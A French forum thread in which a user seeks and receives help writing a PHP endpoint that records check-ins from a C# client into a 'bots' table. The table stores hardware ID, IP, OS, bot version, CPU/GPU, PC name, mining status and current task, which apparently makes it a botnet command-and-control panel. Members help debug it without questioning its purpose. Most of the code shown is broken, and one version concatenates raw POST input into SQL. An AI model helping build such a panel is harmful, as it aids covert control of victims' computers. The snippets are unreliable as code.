Résolu Cherche Aide pour PHP / Mysqli ( ou pdo)

Statut
N'est pas ouverte pour d'autres réponses.

DonPablo

Premium
Inscription
14 Avril 2012
Messages
3 950
Réactions
1 152
Points
19 073
RGCoins
25
Yo all,

je cherche quelqu'un capable de m'aider en PHP / mysqli
car je travail en ce moment sur un projet C# mais j'aurai besoin d'aide pour une liaison C# --> PHP

il me manque seulement le script php j'ai essayer beaucoup de technique mais le php c'est pas mon truc ^^...

le script en question doit récupéré les donné post pour les inscrire dans la database

genre
et que cela aille dans une table crée auparavant

Merci,

mon skype : Sevetmax_hack
 
CSRF bonjour, ce genre d'informations je te déconseille de les passer en GET. ;)

Et bien simplement tu récupères les données en URL :
Code:
$id = $_GET['id'];
$ip = $_GET['ip'];

echo $id;
echo $ip;

Débrouille toi avec ça :-)
 
Dernière édition par un modérateur:
CRSF bonjour, ce genre d'informations je te déconseille de les passer en GET. ;)

Et bien simplement tu récupères les données en URL :
Code:
$id = $_GET['id'];
$ip = $_GET['ip'];

echo $id;
echo $ip;

Débrouille toi avec ça :-)
j'ai deja sa c'est pas sa le probleme c'est de mettre toute les infos dans la DB que la sa coince ...
Code:
<?php
$dbhost = "";    
$dbuser = "";        
$dbpass = "";    
$dbname = "";        

$ip = $_SERVER['REMOTE_ADDR'];
$hwid = $_POST['id'];
$opsys = $_POST['os'];
$botvr = $_POST['bv'];
$cpu = $_POST['cpu'];
$gpu = $_POST['gpu'];
$pcname = $_POST['pcname'];
$lastr = $_POST['lr'];


try {
    $conn = new PDO("mysql:host=$dbhost;dbname=$dbname", $dbuser, $dbpass);
    // set the PDO error mode to exception
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
   
    $conn = $odb->prepare("SELECT COUNT(*) FROM bots WHERE bothwid = :h");
$exs->execute(array(":h" => $hwid));
if ($exs->fetchColumn(0) == "0")
{
    $i = $odb->prepare("INSERT INTO bots VALUES(NULL, :hw, :ip, :cn, UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), :td, :os, :bv, :pv, :in, :cp, :lr, :CPU, :GPU, '1')");
    $i->execute(array(":hw" => $hwid, ":ip" => $ip, ":cn" => $country, ":td" => $taskd, ":os" => $opsys, ":bv" => $botvr, ":pv" => $privs, ":in" => $inpat, ":cp" => $compn, ":lr" => $lastr, ":CPU" => $CPU, ":GPU" => $GPU));
}else{
    $u = $odb->prepare("UPDATE bots SET lastresponse = UNIX_TIMESTAMP(), currenttask = :c WHERE bothwid = :h");
    $u->execute(array(":c" => $taskd, ":h" => $hwid));
}

$conn = null;

catch {
}
}

?>
la je suis dans une impasse et etant donné que je touche jamais au PHP je suis confus
 
j'ai deja sa c'est pas sa le probleme c'est de mettre toute les infos dans la DB que la sa coince ...
Code:
<?php
$dbhost = "";   
$dbuser = "";       
$dbpass = "";   
$dbname = "";       

$ip = $_SERVER['REMOTE_ADDR'];
$hwid = $_POST['id'];
$opsys = $_POST['os'];
$botvr = $_POST['bv'];
$cpu = $_POST['cpu'];
$gpu = $_POST['gpu'];
$pcname = $_POST['pcname'];
$lastr = $_POST['lr'];


try {
    $conn = new PDO("mysql:host=$dbhost;dbname=$dbname", $dbuser, $dbpass);
    // set the PDO error mode to exception
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  
    $conn = $odb->prepare("SELECT COUNT(*) FROM bots WHERE bothwid = :h");
$exs->execute(array(":h" => $hwid));
if ($exs->fetchColumn(0) == "0")
{
    $i = $odb->prepare("INSERT INTO bots VALUES(NULL, :hw, :ip, :cn, UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), :td, :os, :bv, :pv, :in, :cp, :lr, :CPU, :GPU, '1')");
    $i->execute(array(":hw" => $hwid, ":ip" => $ip, ":cn" => $country, ":td" => $taskd, ":os" => $opsys, ":bv" => $botvr, ":pv" => $privs, ":in" => $inpat, ":cp" => $compn, ":lr" => $lastr, ":CPU" => $CPU, ":GPU" => $GPU));
}else{
    $u = $odb->prepare("UPDATE bots SET lastresponse = UNIX_TIMESTAMP(), currenttask = :c WHERE bothwid = :h");
    $u->execute(array(":c" => $taskd, ":h" => $hwid));
}

$conn = null;

catch {
}
}

?>
la je suis dans une impasse et etant donné que je touche jamais au PHP je suis confus
$odb = ? D:
 
le code que je viens d'édité a l'instant :
Code:
<?php

$dbhost = "..fr";    
$dbuser = "";        
$dbpass = "";    
$dbname = "";        

$ip = $_SERVER['REMOTE_ADDR'];
$hwid = $_POST['id'];
$opsys = $_POST['os'];
$botvr = $_POST['bv'];
$cpu = $_POST['cpu'];
$gpu = $_POST['gpu'];
$pcname = $_POST['pcname'];
$lastr = $_POST['lr'];

    $conn = new PDO("mysql:host=$dbhost;dbname=$dbname", $dbuser, $dbpass);
    // set the PDO error mode to exception
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $sql = "INSERT INTO bots (bothwid, ipadress, operatingsys, botversion, pcname, mining, cpu, gpu)  VALUES ('.$hwid.', '.$ip.', '.$opsys.', '.$botvr.', '.$pcname.', '.$cpu.', '.$gpu.')";
    // use exec() because no results are returned
    $conn->exec($sql);
   
 

$conn = null;
?>
et je me retrouve avec cette erreur :

Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[21S01]: Insert value list does not match column list: 1136 Column count doesn't match value count at row 1' in /home/public_html/page.php:21 Stack trace: #0 /home/public_html/page.php(21): PDO->exec('INSERT INTO bot...') #1 {main} thrown in /home/public_html/page.phpon line 21
 
PHP:
$sql= $odb -> prepare('INSERT INTO `bots` VALUES(:bothwid, :ipadress, :operatingsys, ect; )');
$sql-> execute(array(':bothwid' =>$_POST['id'], ':ipadress' =>$_SERVER['REMOTE_ADDR']));

Essaye ça :)
 
CRSF bonjour, ce genre d'informations je te déconseille de les passer en GET. ;)

Et bien simplement tu récupères les données en URL :
Code:
$id = $_GET['id'];
$ip = $_GET['ip'];

echo $id;
echo $ip;

Débrouille toi avec ça :-)
POST ou GET c'est le même tarif si il n'y a pas de token ou vérification referer (pis c'est CSRF)
 
PHP:
$sql= $odb -> prepare('INSERT INTO `bots` VALUES(:bothwid, :ipadress, :operatingsys, ect; )');
$sql-> execute(array(':bothwid' =>$_POST['id'], ':ipadress' =>$_SERVER['REMOTE_ADDR']));

Essaye ça :)
j'ai essayer je me retrouve avec cette erreur :

Fatal error: Call to a member function prepare() on a non-object in /home/u465985444/public_html/page.php on line 18
Code:
$sql= $odb -> prepare('INSERT INTO `bots` VALUES(:bothwid, :ipadress, :operatingsys, :botvr, :cpu, :gpu, :pcname)');
    $sql-> execute(array(':bothwid' => $hwid, ':ipadress' =>$ip, ':operatingsys' => $opsys, ':botvr' => $botvr, ':cpu' => $cpu, ':gpu' => $gpu, ':pcname' => $pcname ));
 
j'ai essayer je me retrouve avec cette erreur :

Fatal error: Call to a member function prepare() on a non-object in /home/u465985444/public_html/page.php on line 18
Code:
$sql= $odb -> prepare('INSERT INTO `bots` VALUES(:bothwid, :ipadress, :operatingsys, :botvr, :cpu, :gpu, :pcname)');
    $sql-> execute(array(':bothwid' => $hwid, ':ipadress' =>$ip, ':operatingsys' => $opsys, ':botvr' => $botvr, ':cpu' => $cpu, ':gpu' => $gpu, ':pcname' => $pcname ));
enleve le ; après ect
PHP:
(:bothwid, :ipadress, :operatingsys, ect; |/php]
 
Code:
 $conn = new PDO("mysql:host=$dbhost;dbname=$dbname", $dbuser, $dbpass);
    // set the PDO error mode to exception
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $sql= $conn->prepare('INSERT INTO `bots` VALUES(:bothwid, :ipadress, :operatingsys, :botversion, :pcname, :mining, :cpu, :gpu )');
    $sql->execute(array(':bothwid' => $_POST['id'], ':ipadress' => $_SERVER['REMOTE_ADDR'], ':operatingsys' => $_POST['os'], ':botversion' => $_POST['bv'], ':mining' => $_POST['mining'], ':pcname' => $_POST['pcname'], ':cpu' => $_POST['cpu'], ':gpu' => $_POST['gpu']));
apres avoir edité, je tombe toujours sur une erreur :

Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[23000]: Integrity constraint violation: 1048 Column 'bothwid' cannot be null' in /home/u465985444/public_html/page.php:12 Stack trace: #0 /home/u465985444/public_html/page.php(12): PDOStatement->execute(Array) #1 {main} thrown in /home/u465985444/public_html/page.php on line 12
 
Code:
 $conn = new PDO("mysql:host=$dbhost;dbname=$dbname", $dbuser, $dbpass);
    // set the PDO error mode to exception
    $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $sql= $conn->prepare('INSERT INTO `bots` VALUES(:bothwid, :ipadress, :operatingsys, :botversion, :pcname, :mining, :cpu, :gpu )');
    $sql->execute(array(':bothwid' => $_POST['id'], ':ipadress' => $_SERVER['REMOTE_ADDR'], ':operatingsys' => $_POST['os'], ':botversion' => $_POST['bv'], ':mining' => $_POST['mining'], ':pcname' => $_POST['pcname'], ':cpu' => $_POST['cpu'], ':gpu' => $_POST['gpu']));
apres avoir edité, je tombe toujours sur une erreur :

Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[23000]: Integrity constraint violation: 1048 Column 'bothwid' cannot be null' in /home/u465985444/public_html/page.php:12 Stack trace: #0 /home/u465985444/public_html/page.php(12): PDOStatement->execute(Array) #1 {main} thrown in /home/u465985444/public_html/page.php on line 12
screen ton phpmyadmin stp
 
Statut
N'est pas ouverte pour d'autres réponses.
Retour
Haut